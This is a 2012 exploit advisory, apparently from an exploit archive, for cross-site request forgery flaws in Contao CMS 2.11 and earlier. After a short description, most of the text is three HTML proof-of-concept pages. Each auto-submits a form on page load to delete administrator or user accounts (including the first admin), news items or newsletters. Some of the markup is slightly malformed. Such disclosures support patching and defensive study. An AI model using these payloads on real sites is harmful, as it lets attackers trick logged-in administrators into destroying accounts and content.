+--------------------------------------------------------------------------------------------------------------------------------+# Exploit Title : ContaoCMS (aka TYPOlight) <= 2.11 CSRF (Delete Admin- Delete Article)# Date: 25-02-2012# Author: Ivano Binetti (http://ivanobinetti.com)# Software link : http://www.contao.org/en/download.html# Vendor site : http://www.contao.org# Version : 2.11.0 (latest) and lower # Tested on : Debian Squeeze (6.0) +--------------------------------------------------------------------------------------------------------------------------------++------------------------------------------[Multiple Vulnerabilities by Ivano Binetti]-------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description
2.1 Delete Administrators or Users
2.2 Delete News
2.3 Delete Newsletter
+--------------------------------------------------------------------------------------------------------------------------------+1)Introduction
Contao (fka TYPOlight)is "an open source content management system (CMS)for people who want a professional internet presence that
is easy to maintain".2)Vulnerabilities Description
Contao 2.11(and lower)is affected by CSRF Vulnerability which allows an attacker to delete admins/users, delete web pages
(articles, news, newsletter and so on).2.1 Delete Administrators or Users
<html><body onload="javascript:document.forms[0].submit()"><H2>CSRF Exploit to delete ADMIN/USER account</H2><form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=user&act=delete&id=2"></body></html>
Note that the is possible to delete any admin/user, also the first administrator (id=1) created during Contao's installation phase.2.2 Delete News
<html><body onload="javascript:document.forms[0].submit()"><H2>CSRF Exploit to delete News</H2><form method="POST" name="form0" action="http://<contao_ip>:80/contao/main.php?do=news&act=delete&id=1"></form></body></html>2.3 Delete Newsletter
<html><body onload="javascript:document.forms[0].submit()"><H2>CSRF Exploit to delete Newsletter</H2><form method="POST" name="form0" action="http://<contao_ip>:80/contao/contao/main.php?do=newsletter&act=delete&id=1"></form></body></html>+--------------------------------------------------------------------------------------------------------------------------------+
